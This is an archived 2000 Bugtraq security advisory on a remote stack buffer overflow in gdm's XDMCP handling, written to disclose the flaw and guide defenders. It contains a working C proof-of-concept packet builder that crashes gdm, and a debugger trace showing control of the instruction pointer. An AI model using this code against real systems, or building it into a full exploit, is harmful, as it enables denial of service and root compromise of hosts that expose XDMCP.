5117503 2000-05-22  09:18  /164 rader/ Postmaster
Mottagare: Bugtraq (import) <10940>
Ärende: "gdm" remote hole
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.LNX.4.21.0005212220430.6695-100000@ferret.lmh.ox.ac.uk>
Date:         Sun, 21 May 2000 23:13:09 +0100
Reply-To: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
X-To:         bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM

Hi,

[Note that I was going to wait for an official fixed release of gdm,
but RedHat have released an errata update to the public, so no point
hanging around]

SUMMARY
=======

"gdm" is a replacement for "xdm", the X display manager. gdm is a
part of the GNOME desktop. A buffer overflow exists in the XDMCP
parsing code of gdm. If gdm is configured to talk the XDMCP protocol
on port 177 UDP, then you are vulnerable. At the time of the
overflow, gdm is running as root. It is not neccessary to have a
valid username/password in order to reach the code flaw.

But there is good news:) Luckily, most vendors and packagers using
gdm, ship with a default of XDMCP listening _disabled_. Some examples
of vendors/packages who are safe by default include:

- RedHat 6.0-6.2
- Helix GNOME
- The raw gdm source tarball

Listening on the network is controlled by (on my system)
/etc/X11/gdm/gdm.conf. Locate the [xdmcp] section. You are safe if
you have "Enable=0". Alternatively use "netstat -ao" to check for
something listening on port 177.

NOTES
=====

xdm is not vulnerable to this flaw. kdm (which comes with the KDE
desktop) is also free from this issue (the XDMCP code is nabbed from
xdm).

In general, _whichever_ display manager you use to offer XDMCP,
please consider desisting. Remember that the display manager is
rendering a login box onto an untrusted remote machine. This involves
chatting the X protocol. This is not a small protocol. What do you
think the chances are that $(YOUR_VENDOR) ships a completely bug free
set of X libraries?


Aside from the buffer overflow, various people subsequently pointed
out potential DoS issues (null pointer deref's) and some potential
memory leaks. Please see CREDITS below.


DISCUSSION OF CODE FLAW
=======================

Check out daemon/xdmcp.c, gdm_xdmcp_handle_forward_query()

...
// On stack
struct in_addr ia;
...
    memmove (&ia.s_addr, clnt_addr.data, clnt_addr.length);

// Where clnt_addr.{data,length} are from the network

So it's a mildy disguised standard stack overflow.


CREDITS
=======

Martin K. Petersen: (gdm author). This guy saved a lot a grief by
appreciating the issues with XDMCP in general, and disabling it by
default.

Owen Taylor, Elliot Lee: Spotted and fixed issues with NULL pointers
and memory leaks. These issues were not readily apparent due to being
hidden behind libXdmcp structures such as ARRAYofARRAY8, etc.


Demo "crashme" packet builder and resultant gdm stack trace follow. I
didn't write an exploit. I'm sure some friendly Black Hat will oblige
and post.

Cheers
Chris

/*
 * breakgdm.c - Chris Evans
 */

#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

int
main(int argc, const char* argv[])
{
  char deathbuf[1000];
  unsigned short s;
  unsigned char c;

  memset(deathbuf, 'A', sizeof(deathbuf));

  /* Write the Xdmcp header */
  /* Version */
  s = htons(1);
  write(1, &s, 2);
  /* Opcode: FORWARD_QUERY */
  s = htons(4);
  write(1, &s, 2);
  /* Length */
  s = htons(1 + 2 + 1000 + 2);
  write(1, &s, 2);

  /* Now we're into FORWARD_QUERY which consists of
   * remote display, remote port, auth info. Remote display is binary
   * IP address data....
   */
  /* Remote display: 1000 A's which incidentally smoke a path
   * right to the stack
   */
  s = htons(sizeof(deathbuf));
  write(1, &s, 2);
  write(1, deathbuf, sizeof(deathbuf));
  /* Display port.. empty data will do */
  s = htons(0);
  write(1, &s, 2);
  /* Auth list.. empty data will do */
  c = 0;
  write(1, &c, 1);
}

Program received signal SIGSEGV, Segmentation fault.
getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88
88      ../sysdeps/generic/getenv.c: No such file or directory.
(gdb) bt
#0  getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88
#1  0x401e8f4a in tzset_internal (always=1094795585) at tzset.c:144
#2  0x401e9e2a in __tzset () at tzset.c:542
#3  0x401e676c in strftime (
    s=0x80645c4 "May 20 06:24:04 gdm[1393]:
gdm_xdmcp_handle_forward_query: ForwardQuery from 127.0.0.1",
maxsize=8188, format=0x40247acb "%h %e %T ",
    tp=0xbffffa94) at strftime.c:476
#4  0x4020e681 in vsyslog (pri=3,
    fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from
display: 65.65.65.65, port 0", ap=0xbffffae8) at syslog.c:149
#5  0x4020e59f in syslog (pri=3,
    fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from
display: 65.65.65.65, port 0") at syslog.c:106
#6  0x804f9a4 in gdm_debug ()
#7  0x8050da2 in gdm_xdmcp_close ()
#8  0x41414141 in ?? ()
    ^^^^^^^^^^^^^^
Cannot access memory at address 0x41414141.
(5117503) ------------------------------------------(Ombruten)